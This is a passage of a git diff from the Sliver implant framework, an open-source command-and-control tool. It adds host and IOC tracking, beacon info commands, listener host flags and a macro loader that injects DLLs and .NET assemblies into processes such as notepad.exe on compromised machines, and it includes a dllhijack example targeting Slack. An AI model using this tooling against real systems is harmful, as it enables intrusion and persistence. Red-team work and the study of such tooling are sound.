+dllhijack --reference-path c:\\windows\\system32\\msasn1.dll --reference-file /tmp/msasn1.dll.orig --profile dll c:\\users\\bob\\appdata\\slack\\app-4.18.0\\msasn1.dll
+`
+
+	getPrivsHelp = `[[.Bold]]Command:[[.Normal]] getprivs
+[[.Bold]]About:[[.Normal]] Get privilege information for the current process (Windows only).
 `
 )
 
@@ -568,7 +687,7 @@ const (
 // GetHelpFor - Get help string for a command
 func GetHelpFor(cmdName []string) string {
 	if 0 < len(cmdName) {
-		if helpTmpl, ok := cmdHelp[strings.Join(cmdName, ".")]; ok {
+		if helpTmpl, ok := cmdHelp[strings.Join(cmdName, sep)]; ok {
 			return FormatHelpTmpl(helpTmpl)
 		}
 	}

client/command/hosts/README.md

@@ -0,0 +1,4 @@
+Hosts
+======
+
+Command to access and manage host information.

client/command/hosts/hosts-ioc-rm.go

@@ -1,8 +1,8 @@
-package c2
+package hosts
 
 /*
 	Sliver Implant Framework
-	Copyright (C) 2019  Bishop Fox
+	Copyright (C) 2021  Bishop Fox
 
 	This program is free software: you can redistribute it and/or modify
 	it under the terms of the GNU General Public License as published by
@@ -19,34 +19,28 @@ package c2
 */
 
 import (
-	"net/http"
-	"net/http/httptest"
-	"testing"
+	"context"
 
-	"github.com/bishopfox/sliver/server/certs"
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/desertbit/grumble"
 )
 
-func TestRsaKeyHandler(t *testing.T) {
-
-	certs.SetupCAs()
-
-	req, err := http.NewRequest("GET", "/test/foo.txt", nil)
+// HostsIOCRmCmd - Remove a host from the database
+func HostsIOCRmCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	host, err := SelectHost(con)
 	if err != nil {
-		t.Fatal(err)
-	}
-
-	server, err := StartHTTPSListener(&HTTPServerConfig{
-		Addr: "127.0.0.1:8888",
-	})
-	if err != nil {
-		t.Errorf("Listener failed to start %s", err)
+		con.PrintErrorf("%s\n", err)
 		return
 	}
-	rr := httptest.NewRecorder()
-	handler := http.HandlerFunc(server.rsaKeyHandler)
-	handler.ServeHTTP(rr, req)
-	if status := rr.Code; status != http.StatusOK {
-		t.Errorf("handler returned wrong status code: got %v want %v", status, http.StatusOK)
+	ioc, err := SelectHostIOC(host, con)
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
 	}
-
+	_, err = con.Rpc.HostIOCRm(context.Background(), ioc)
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+	con.PrintInfof("Removed host from database\n")
 }

client/command/hosts/hosts-ioc.go

@@ -0,0 +1,107 @@
+package hosts
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2021  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"bytes"
+	"fmt"
+	"sort"
+	"strings"
+	"text/tabwriter"
+
+	"github.com/AlecAivazis/survey/v2"
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/desertbit/grumble"
+	"github.com/jedib0t/go-pretty/v6/table"
+)
+
+// HostsIOCCmd - Remove a host from the database
+func HostsIOCCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	host, err := SelectHost(con)
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+	if 0 < len(host.IOCs) {
+		con.Printf("%s\n", hostIOCsTable(host, con))
+	} else {
+		con.Println()
+		con.PrintInfof("No IOCs tracked on host\n")
+	}
+}
+
+func hostIOCsTable(host *clientpb.Host, con *console.SliverConsoleClient) string {
+	tw := table.NewWriter()
+	tw.SetStyle(table.StyleBold)
+	tw.AppendHeader(table.Row{"File Path", "SHA-256"})
+	for _, ioc := range host.IOCs {
+		tw.AppendRow(table.Row{
+			ioc.Path,
+			ioc.FileHash,
+		})
+	}
+	return tw.Render()
+}
+
+func SelectHostIOC(host *clientpb.Host, con *console.SliverConsoleClient) (*clientpb.IOC, error) {
+
+	// Sort the keys because maps have a randomized order, these keys must be ordered for the selection
+	// to work properly since we rely on the index of the user's selection to find the session in the map
+	var keys []string
+	var iocMap = make(map[string]*clientpb.IOC)
+	for _, ioc := range host.IOCs {
+		keys = append(keys, ioc.ID)
+		iocMap[ioc.ID] = ioc
+	}
+	sort.Strings(keys)
+
+	outputBuf := bytes.NewBufferString("")
+	table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
+
+	// Column Headers
+	for _, key := range keys {
+		ioc := iocMap[key]
+		fmt.Fprintf(table, "%s\t%s\t\n",
+			ioc.Path,
+			ioc.FileHash,
+		)
+	}
+	table.Flush()
+
+	options := strings.Split(outputBuf.String(), "\n")
+	options = options[:len(options)-1] // Remove the last empty option
+	prompt := &survey.Select{
+		Message: "Select an IOC:",
+		Options: options,
+	}
+	selected := ""
+	survey.AskOne(prompt, &selected)
+	if selected == "" {
+		return nil, ErrNoSelection
+	}
+
+	// Go from the selected option -> index -> host
+	for index, option := range options {
+		if option == selected {
+			return iocMap[keys[index]], nil
+		}
+	}
+	return nil, ErrNoSelection
+}

client/command/hosts/hosts-rm.go

@@ -0,0 +1,41 @@
+package hosts
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2021  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"context"
+
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/desertbit/grumble"
+)
+
+// HostsRmCmd - Remove a host from the database
+func HostsRmCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	host, err := SelectHost(con)
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+	_, err = con.Rpc.HostRm(context.Background(), host)
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+	con.PrintInfof("Removed host from database\n")
+}

client/command/hosts/hosts.go

@@ -0,0 +1,166 @@
+package hosts
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2021  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"bytes"
+	"context"
+	"errors"
+	"fmt"
+	"sort"
+	"strings"
+	"text/tabwriter"
+
+	"github.com/AlecAivazis/survey/v2"
+	"github.com/bishopfox/sliver/client/command/settings"
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/bishopfox/sliver/protobuf/commonpb"
+	"github.com/desertbit/grumble"
+
+	"github.com/jedib0t/go-pretty/v6/table"
+)
+
+var (
+	// ErrNoHosts - No hosts in database
+	ErrNoHosts = errors.New("no hosts")
+	// ErrNoSelection - No selection made
+	ErrNoSelection = errors.New("no selection")
+)
+
+// HostsCmd - Main hosts command
+func HostsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	allHosts, err := con.Rpc.Hosts(context.Background(), &commonpb.Empty{})
+	if err != nil {
+		con.PrintErrorf("%s", err)
+		return
+	}
+	if 0 < len(allHosts.Hosts) {
+		con.Printf("%s\n", hostsTable(allHosts.Hosts, con))
+	} else {
+		con.PrintInfof("No hosts\n")
+	}
+}
+
+func hostsTable(hosts []*clientpb.Host, con *console.SliverConsoleClient) string {
+	tw := table.NewWriter()
+	tw.SetStyle(settings.GetTableStyle(con))
+	tw.AppendHeader(table.Row{
+		"ID",
+		"Hostname",
+		"Operating System",
+		"Sessions",
+		"IOCs",
+		"Extension Data",
+	})
+	for _, host := range hosts {
+		var shortID string
+		if len(host.HostUUID) < 8 {
+			shortID = host.HostUUID[:len(host.HostUUID)]
+		} else {
+			shortID = host.HostUUID[:8]
+		}
+		tw.AppendRow(table.Row{
+			shortID,
+			host.Hostname,
+			host.OSVersion,
+			hostSessionNumbers(host.HostUUID, con),
+			len(host.IOCs),
+			len(host.ExtensionData),
+		})
+	}
+	return tw.Render()
+}
+
+func hostSessionNumbers(hostUUID string, con *console.SliverConsoleClient) string {
+	hostSessions := SessionsForHost(hostUUID, con)
+	if 0 == len(hostSessions) {
+		return "None"
+	}
+	sessionNumbers := []string{}
+	for _, hostSession := range hostSessions {
+		sessionNumbers = append(sessionNumbers, fmt.Sprintf("%d", hostSession.ID))
+	}
+	return strings.Join(sessionNumbers, ", ")
+}
+
+// SessionsForHost - Find session for a given host by id
+func SessionsForHost(hostUUID string, con *console.SliverConsoleClient) []*clientpb.Session {
+	sessions, err := con.Rpc.GetSessions(context.Background(), &commonpb.Empty{})
+	if err != nil {
+		return []*clientpb.Session{}
+	}
+	hostSessions := []*clientpb.Session{}
+	for _, session := range sessions.Sessions {
+		if session.UUID == hostUUID {
+			hostSessions = append(hostSessions, session)
+		}
+	}
+	return hostSessions
+}
+
+// SelectHost - Interactively select a host from the database
+func SelectHost(con *console.SliverConsoleClient) (*clientpb.Host, error) {
+	allHosts, err := con.Rpc.Hosts(context.Background(), &commonpb.Empty{})
+	if err != nil {
+		return nil, err
+	}
+	// Sort the keys because maps have a randomized order, these keys must be ordered for the selection
+	// to work properly since we rely on the index of the user's selection to find the session in the map
+	var keys []string
+	var hostMap = make(map[string]*clientpb.Host)
+	for _, host := range allHosts.Hosts {
+		keys = append(keys, host.HostUUID)
+		hostMap[host.HostUUID] = host
+	}
+	sort.Strings(keys)
+
+	outputBuf := bytes.NewBufferString("")
+	table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
+
+	// Column Headers
+	for _, key := range keys {
+		host := hostMap[key]
+		fmt.Fprintf(table, "%s\t%s\t\n",
+			host.Hostname,
+			host.OSVersion,
+		)
+	}
+	table.Flush()
+
+	options := strings.Split(outputBuf.String(), "\n")
+	options = options[:len(options)-1] // Remove the last empty option
+	prompt := &survey.Select{
+		Message: "Select a host:",
+		Options: options,
+	}
+	selected := ""
+	survey.AskOne(prompt, &selected)
+	if selected == "" {
+		return nil, ErrNoSelection
+	}
+
+	// Go from the selected option -> index -> host
+	for index, option := range options {
+		if option == selected {
+			return hostMap[keys[index]], nil
+		}
+	}
+	return nil, ErrNoSelection
+}

client/command/info/info.go

@@ -21,22 +21,16 @@ package info
 import (
 	"github.com/bishopfox/sliver/client/console"
 	consts "github.com/bishopfox/sliver/client/constants"
-	"github.com/bishopfox/sliver/protobuf/clientpb"
 
 	"github.com/desertbit/grumble"
 )
 
 // InfoCmd - Display information about the active session
 func InfoCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
-
-	var session *clientpb.Session
-	sessionName := ctx.Args.String("session")
-	if con.ActiveSession.GetInteractive() != nil {
-		session = con.ActiveSession.GetInteractive()
-	} else if sessionName != "" {
-		session = con.GetSession(sessionName)
+	session, beacon := con.ActiveTarget.GetInteractive()
+	if session == nil && beacon == nil {
+		return
 	}
-
 	if session != nil {
 		con.Printf(console.Bold+"                ID: %s%d\n", console.Normal, session.ID)
 		con.Printf(console.Bold+"              Name: %s%s\n", console.Normal, session.Name)
@@ -51,8 +45,29 @@ func InfoCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		con.Printf(console.Bold+"              Arch: %s%s\n", console.Normal, session.Arch)
 		con.Printf(console.Bold+"    Remote Address: %s%s\n", console.Normal, session.RemoteAddress)
 		con.Printf(console.Bold+"         Proxy URL: %s%s\n", console.Normal, session.ProxyURL)
-		con.Printf(console.Bold+"     Poll Interval: %s%d\n", console.Normal, session.PollInterval)
+		con.Printf(console.Bold+"      Poll Timeout: %s%d\n", console.Normal, session.PollTimeout)
 		con.Printf(console.Bold+"Reconnect Interval: %s%d\n", console.Normal, session.ReconnectInterval)
+
+	} else if beacon != nil {
+
+		con.Printf(console.Bold+"                ID: %s%s\n", console.Normal, beacon.ID)
+		con.Printf(console.Bold+"              Name: %s%s\n", console.Normal, beacon.Name)
+		con.Printf(console.Bold+"          Hostname: %s%s\n", console.Normal, beacon.Hostname)
+		con.Printf(console.Bold+"              UUID: %s%s\n", console.Normal, beacon.UUID)
+		con.Printf(console.Bold+"          Username: %s%s\n", console.Normal, beacon.Username)
+		con.Printf(console.Bold+"               UID: %s%s\n", console.Normal, beacon.UID)
+		con.Printf(console.Bold+"               GID: %s%s\n", console.Normal, beacon.GID)
+		con.Printf(console.Bold+"               PID: %s%d\n", console.Normal, beacon.PID)
+		con.Printf(console.Bold+"                OS: %s%s\n", console.Normal, beacon.OS)
+		con.Printf(console.Bold+"           Version: %s%s\n", console.Normal, beacon.Version)
+		con.Printf(console.Bold+"              Arch: %s%s\n", console.Normal, beacon.Arch)
+		con.Printf(console.Bold+"    Remote Address: %s%s\n", console.Normal, beacon.RemoteAddress)
+		con.Printf(console.Bold+"         Proxy URL: %s%s\n", console.Normal, beacon.ProxyURL)
+		con.Printf(console.Bold+"          Interval: %s%d\n", console.Normal, beacon.Interval)
+		con.Printf(console.Bold+"            Jitter: %s%d\n", console.Normal, beacon.Jitter)
+		// con.Printf(console.Bold+"      Poll Timeout: %s%d\n", console.Normal, beacon.PollTimeout)
+		// con.Printf(console.Bold+"Reconnect Interval: %s%d\n", console.Normal, beacon.ReconnectInterval)
+
 	} else {
 		con.PrintErrorf("No target session, see `help %s`\n", consts.InfoStr)
 	}
@@ -60,36 +75,52 @@ func InfoCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 
 // PIDCmd - Get the active session's PID
 func PIDCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
-	session := con.ActiveSession.GetInteractive()
-	if session == nil {
+	session, beacon := con.ActiveTarget.GetInteractive()
+	if session == nil && beacon == nil {
 		return
 	}
-	con.Printf("%d\n", session.PID)
+	if session != nil {
+		con.Printf("%d\n", session.PID)
+	} else if beacon != nil {
+		con.Printf("%d\n", beacon.PID)
+	}
 }
 
 // UIDCmd - Get the active session's UID
 func UIDCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
-	session := con.ActiveSession.GetInteractive()
-	if session == nil {
+	session, beacon := con.ActiveTarget.GetInteractive()
+	if session == nil && beacon == nil {
 		return
 	}
-	con.Printf("%s\n", session.UID)
+	if session != nil {
+		con.Printf("%s\n", session.UID)
+	} else if beacon != nil {
+		con.Printf("%s\n", beacon.UID)
+	}
 }
 
 // GIDCmd - Get the active session's GID
 func GIDCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
-	session := con.ActiveSession.GetInteractive()
-	if session == nil {
+	session, beacon := con.ActiveTarget.GetInteractive()
+	if session == nil && beacon == nil {
 		return
 	}
-	con.Printf("%s\n", session.GID)
+	if session != nil {
+		con.Printf("%s\n", session.GID)
+	} else if beacon != nil {
+		con.Printf("%s\n", beacon.GID)
+	}
 }
 
 // WhoamiCmd - Displays the current user of the active session
 func WhoamiCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
-	session := con.ActiveSession.GetInteractive()
-	if session == nil {
+	session, beacon := con.ActiveTarget.GetInteractive()
+	if session == nil && beacon == nil {
 		return
 	}
-	con.Printf("%s\n", session.Username)
+	if session != nil {
+		con.Printf("%s\n", session.Username)
+	} else if beacon != nil {
+		con.Printf("%s\n", beacon.Username)
+	}
 }

client/command/info/ping.go

@@ -11,7 +11,7 @@ import (
 
 // PingCmd - Send a round trip C2 message to an implant (does not use ICMP)
 func PingCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
-	session := con.ActiveSession.GetInteractive()
+	session := con.ActiveTarget.GetSessionInteractive()
 	if session == nil {
 		return
 	}
@@ -20,7 +20,7 @@ func PingCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	con.PrintInfof("Ping %d\n", nonce)
 	pong, err := con.Rpc.Ping(context.Background(), &sliverpb.Ping{
 		Nonce:   int32(nonce),
-		Request: con.ActiveSession.Request(ctx),
+		Request: con.ActiveTarget.Request(ctx),
 	})
 	if err != nil {
 		con.PrintErrorf("%s\n", err)

client/command/jobs/dns.go

@@ -37,11 +37,13 @@ func DNSListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		}
 	}
 
+	lhost := ctx.Flags.String("lhost")
 	lport := uint16(ctx.Flags.Int("lport"))
 
 	con.PrintInfof("Starting DNS listener with parent domain(s) %v ...\n", domains)
 	dns, err := con.Rpc.StartDNSListener(context.Background(), &clientpb.DNSListenerReq{
 		Domains:    domains,
+		Host:       lhost,
 		Port:       uint32(lport),
 		Canaries:   !ctx.Flags.Bool("no-canaries"),
 		Persistent: ctx.Flags.Bool("persistent"),

client/command/jobs/http.go

@@ -29,12 +29,14 @@ import (
 // HTTPListenerCmd - Start an HTTP listener
 func HTTPListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	domain := ctx.Flags.String("domain")
+	lhost := ctx.Flags.String("lhost")
 	lport := uint16(ctx.Flags.Int("lport"))
 
 	con.PrintInfof("Starting HTTP %s:%d listener ...\n", domain, lport)
 	http, err := con.Rpc.StartHTTPListener(context.Background(), &clientpb.HTTPListenerReq{
 		Domain:     domain,
 		Website:    ctx.Flags.String("website"),
+		Host:       lhost,
 		Port:       uint32(lport),
 		Secure:     false,
 		Persistent: ctx.Flags.Bool("persistent"),

client/command/jobs/https.go

@@ -31,6 +31,7 @@ import (
 func HTTPSListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	domain := ctx.Flags.String("domain")
 	website := ctx.Flags.String("website")
+	lhost := ctx.Flags.String("lhost")
 	lport := uint16(ctx.Flags.Int("lport"))
 
 	cert, key, err := getLocalCertificatePair(ctx)
@@ -44,6 +45,7 @@ func HTTPSListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	https, err := con.Rpc.StartHTTPSListener(context.Background(), &clientpb.HTTPListenerReq{
 		Domain:     domain,
 		Website:    website,
+		Host:       lhost,
 		Port:       uint32(lport),
 		Secure:     true,
 		Cert:       cert,

client/command/jobs/mtls.go

@@ -28,12 +28,12 @@ import (
 
 // MTLSListenerCmd - Start an mTLS listener
 func MTLSListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
-	server := ctx.Flags.String("server")
+	lhost := ctx.Flags.String("lhost")
 	lport := uint16(ctx.Flags.Int("lport"))
 
 	con.PrintInfof("Starting mTLS listener ...\n")
 	mtls, err := con.Rpc.StartMTLSListener(context.Background(), &clientpb.MTLSListenerReq{
-		Host:       server,
+		Host:       lhost,
 		Port:       uint32(lport),
 		Persistent: ctx.Flags.Bool("persistent"),
 	})

client/command/loot/loot.go

@@ -38,7 +38,7 @@ import (
 	"github.com/desertbit/grumble"
 )
 
-// ---  Loot Command ---
+// LootCmd - The loot root command
 func LootCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	filter := ctx.Flags.String("filter")
 	var allLoot *clientpb.AllLoot

client/command/loot/remote.go

@@ -33,7 +33,7 @@ import (
 
 // LootAddRemoteCmd - Add a file from the remote system to the server as loot
 func LootAddRemoteCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
-	session := con.ActiveSession.GetInteractive()
+	session := con.ActiveTarget.GetSessionInteractive()
 	if session == nil {
 		return
 	}
@@ -60,7 +60,7 @@ func LootAddRemoteCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	con.SpinUntil(fmt.Sprintf("Looting remote file %s", remotePath), ctrl)
 
 	download, err := con.Rpc.Download(context.Background(), &sliverpb.DownloadReq{
-		Request: con.ActiveSession.Request(ctx),
+		Request: con.ActiveTarget.Request(ctx),
 		Path:    remotePath,
 	})
 	if err != nil {

client/command/macros/README.md

@@ -0,0 +1,4 @@
+Extensions
+===========
+
+Wraps external DLLs/tool in Sliver console commands.

client/command/macros/load.go

@@ -0,0 +1,335 @@
+package macros
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2019  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"context"
+	"encoding/json"
+	"fmt"
+	"io/ioutil"
+	"os"
+	"path"
+	"path/filepath"
+	"strings"
+
+	"github.com/bishopfox/sliver/client/command/help"
+	"github.com/bishopfox/sliver/client/console"
+	consts "github.com/bishopfox/sliver/client/constants"
+	"github.com/bishopfox/sliver/protobuf/sliverpb"
+	"github.com/desertbit/grumble"
+)
+
+const (
+	defaultTimeout = 60
+
+	windowsDefaultHostProc = `c:\windows\system32\notepad.exe`
+	linuxDefaultHostProc   = "/bin/bash"
+	macosDefaultHostProc   = "/Applications/Safari.app/Contents/MacOS/SafariForWebKitDevelopment"
+)
+
+var commandMap map[string]macro
+var defaultHostProc = map[string]string{
+	"windows": windowsDefaultHostProc,
+	"linux":   windowsDefaultHostProc,
+	"darwin":  macosDefaultHostProc,
+}
+
+type binFiles struct {
+	Ext64Path string `json:"x64"`
+	Ext32Path string `json:"x86"`
+}
+
+type macroFile struct {
+	OS    string   `json:"os"`
+	Files binFiles `json:"files"`
+}
+
+type macroCommand struct {
+	Name         string      `json:"name"`
+	Entrypoint   string      `json:"entrypoint"`
+	Help         string      `json:"help"`
+	LongHelp     string      `json:"longHelp"`
+	AllowArgs    bool        `json:"allowArgs"`
+	DefaultArgs  string      `json:"defaultArgs"`
+	MacroFiles   []macroFile `json:"extFiles"`
+	IsReflective bool        `json:"isReflective"`
+	IsAssembly   bool        `json:"IsAssembly"`
+}
+
+func (ec *macroCommand) getDefaultProcess(targetOS string) (proc string, err error) {
+	proc, ok := defaultHostProc[targetOS]
+	if !ok {
+		err = fmt.Errorf("no default process for %s target, please specify one", targetOS)
+	}
+	return
+}
+
+type macro struct {
+	Name     string         `json:"macroName"`
+	Commands []macroCommand `json:"macroCommands"`
+	Path     string
+}
+
+func (e *macro) getFileForTarget(cmdName string, targetOS string, targetArch string) (filePath string, err error) {
+	for _, c := range e.Commands {
+		if cmdName == c.Name {
+			for _, ef := range c.MacroFiles {
+				if targetOS == ef.OS {
+					switch targetArch {
+					case "x86":
+						filePath = filepath.Join(e.Path, ef.Files.Ext32Path)
+					case "x64":
+						filePath = filepath.Join(e.Path, ef.Files.Ext64Path)
+					default:
+						filePath = filepath.Join(e.Path, ef.Files.Ext64Path)
+					}
+				}
+			}
+
+		}
+	}
+	if filePath == "" {
+		err = fmt.Errorf("no macro file found for %s/%s", targetOS, targetArch)
+	}
+	return
+}
+
+func (e *macro) getCommandFromName(name string) (extCmd *macroCommand, err error) {
+	for _, x := range e.Commands {
+		if x.Name == name {
+			extCmd = &x
+			return
+		}
+	}
+	err = fmt.Errorf("no macro command found for name %s", name)
+	return
+}
+
+// LoadMacroCmd - Locally load a macro into the Sliver shell.
+func LoadMacroCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+
+	dirPath := ctx.Args.String("dir-path")
+
+	// retrieve macro manifest
+	manifestPath := fmt.Sprintf("%s/%s", dirPath, "manifest.json")
+	jsonBytes, err := ioutil.ReadFile(manifestPath)
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+	}
+	// parse it
+	ext := &macro{}
+	err = json.Unmarshal(jsonBytes, ext)
+	if err != nil {
+		con.PrintErrorf("Error loading macro: %v", err)
+		return
+	}
+	ext.Path = dirPath
+	// for each macro command, add a new app command
+	for _, extCmd := range ext.Commands {
+		// do not add if the command already exists
+		if cmdExists(extCmd.Name, ctx.App) {
+			con.PrintErrorf("%s command already exists\n", extCmd.Name)
+			return
+		}
+		con.PrintInfof("Adding %s command: %s\n", extCmd.Name, extCmd.Help)
+
+		// Have to use a global map here, as passing the extCmd
+		// either by value or by ref fucks things up
+		commandMap[extCmd.Name] = *ext
+		helpMsg := fmt.Sprintf("[%s] %s", ext.Name, extCmd.Help)
+		macroCmd := &grumble.Command{
+			Name:     extCmd.Name,
+			Help:     helpMsg,
+			LongHelp: help.FormatHelpTmpl(extCmd.LongHelp),
+			Run: func(extCtx *grumble.Context) error {
+				con.Println()
+				runMacroCommand(extCtx, con)
+				con.Println()
+				return nil
+			},
+			Flags: func(f *grumble.Flags) {
+				if extCmd.IsAssembly {
+					f.String("m", "method", "", "Optional method (a method is required for a .NET DLL)")
+					f.String("c", "class", "", "Optional class name (required for .NET DLL)")
+					f.String("d", "app-domain", "", "AppDomain name to create for .NET assembly. Generated randomly if not set.")
+					f.String("a", "arch", "x84", "Assembly target architecture: x86, x64, x84 (x86+x64)")
+				}
+				f.String("p", "process", "", "Path to process to host the shared object")
+				f.Bool("s", "save", false, "Save output to disk")
+				f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
+			},
+			Args: func(a *grumble.Args) {
+				a.StringList("arguments", "arguments", grumble.Default([]string{}))
+			},
+			HelpGroup: consts.MacroHelpGroup,
+		}
+		con.App.AddCommand(macroCmd)
+	}
+	con.PrintInfof("%s macro has been loaded\n", ext.Name)
+}
+
+func runMacroCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	session := con.ActiveTarget.GetSessionInteractive()
+	if session == nil {
+		return
+	}
+	ext, ok := commandMap[ctx.Command.Name]
+	if !ok {
+		con.PrintErrorf("No macro command found for `%s` command\n", ctx.Command.Name)
+		return
+	}
+
+	binPath, err := ext.getFileForTarget(ctx.Command.Name, session.GetOS(), session.GetArch())
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+
+	c, err := ext.getCommandFromName(ctx.Command.Name)
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+
+	args := ctx.Args.StringList("arguments")
+	var extArgs string
+	if len(c.DefaultArgs) != 0 && len(args) == 0 {
+		extArgs = c.DefaultArgs
+	} else {
+		extArgs = strings.Join(args, " ")
+	}
+	entryPoint := c.Entrypoint
+	processName := ctx.Flags.String("process")
+	if processName == "" {
+		processName, err = c.getDefaultProcess(session.GetOS())
+		if err != nil {
+			con.PrintErrorf("%s\n", err)
+			return
+		}
+	}
+	isDLL := false
+	if filepath.Ext(binPath) == ".dll" {
+		isDLL = true
+	}
+	binData, err := ioutil.ReadFile(binPath)
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+	var outFilePath *os.File
+	if ctx.Flags.Bool("save") {
+		outFile := path.Base(fmt.Sprintf("%s_%s*.log", ctx.Command.Name, session.GetHostname()))
+		outFilePath, err = ioutil.TempFile("", outFile)
+		if err != nil {
+			con.PrintErrorf("%s\n", err)
+			return
+		}
+	}
+	if c.IsAssembly {
+		ctrl := make(chan bool)
+		msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, extArgs)
+		con.SpinUntil(msg, ctrl)
+		executeAssemblyResp, err := con.Rpc.ExecuteAssembly(context.Background(), &sliverpb.ExecuteAssemblyReq{
+			Request:   con.ActiveTarget.Request(ctx),
+			IsDLL:     isDLL,
+			Process:   processName,
+			Arguments: extArgs,
+			Assembly:  binData,
+			Arch:      ctx.Flags.String("arch"),
+			Method:    ctx.Flags.String("method"),
+			ClassName: ctx.Flags.String("class"),
+			AppDomain: ctx.Flags.String("app-domain"),
+		})
+		ctrl <- true
+		<-ctrl
+		if err != nil {
+			con.PrintErrorf("%s\n", err)
+			return
+		}
+		con.PrintInfof("Output:\n%s", string(executeAssemblyResp.GetOutput()))
+		if outFilePath != nil {
+			outFilePath.Write(executeAssemblyResp.GetOutput())
+			con.PrintInfof("Output saved to %s\n", outFilePath.Name())
+		}
+	} else if c.IsReflective {
+		ctrl := make(chan bool)
+		msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, extArgs)
+		con.SpinUntil(msg, ctrl)
+		spawnDllResp, err := con.Rpc.SpawnDll(context.Background(), &sliverpb.InvokeSpawnDllReq{
+			Request:     con.ActiveTarget.Request(ctx),
+			Args:        strings.Trim(extArgs, " "),
+			Data:        binData,
+			ProcessName: processName,
+			EntryPoint:  c.Entrypoint,
+			Kill:        true,
+		})
+		ctrl <- true
+		<-ctrl
+
+		if err != nil {
+			con.PrintErrorf("%s\n", err)
+			return
+		}
+
+		con.PrintInfof("Output:\n%s", spawnDllResp.GetResult())
+		if outFilePath != nil {
+			outFilePath.Write([]byte(spawnDllResp.GetResult()))
+			con.PrintInfof("Output saved to %s\n", outFilePath.Name())
+		}
+	} else {
+		ctrl := make(chan bool)
+		msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, extArgs)
+		con.SpinUntil(msg, ctrl)
+		sideloadResp, err := con.Rpc.Sideload(context.Background(), &sliverpb.SideloadReq{
+			Request:     con.ActiveTarget.Request(ctx),
+			Args:        extArgs,
+			Data:        binData,
+			EntryPoint:  entryPoint,
+			ProcessName: processName,
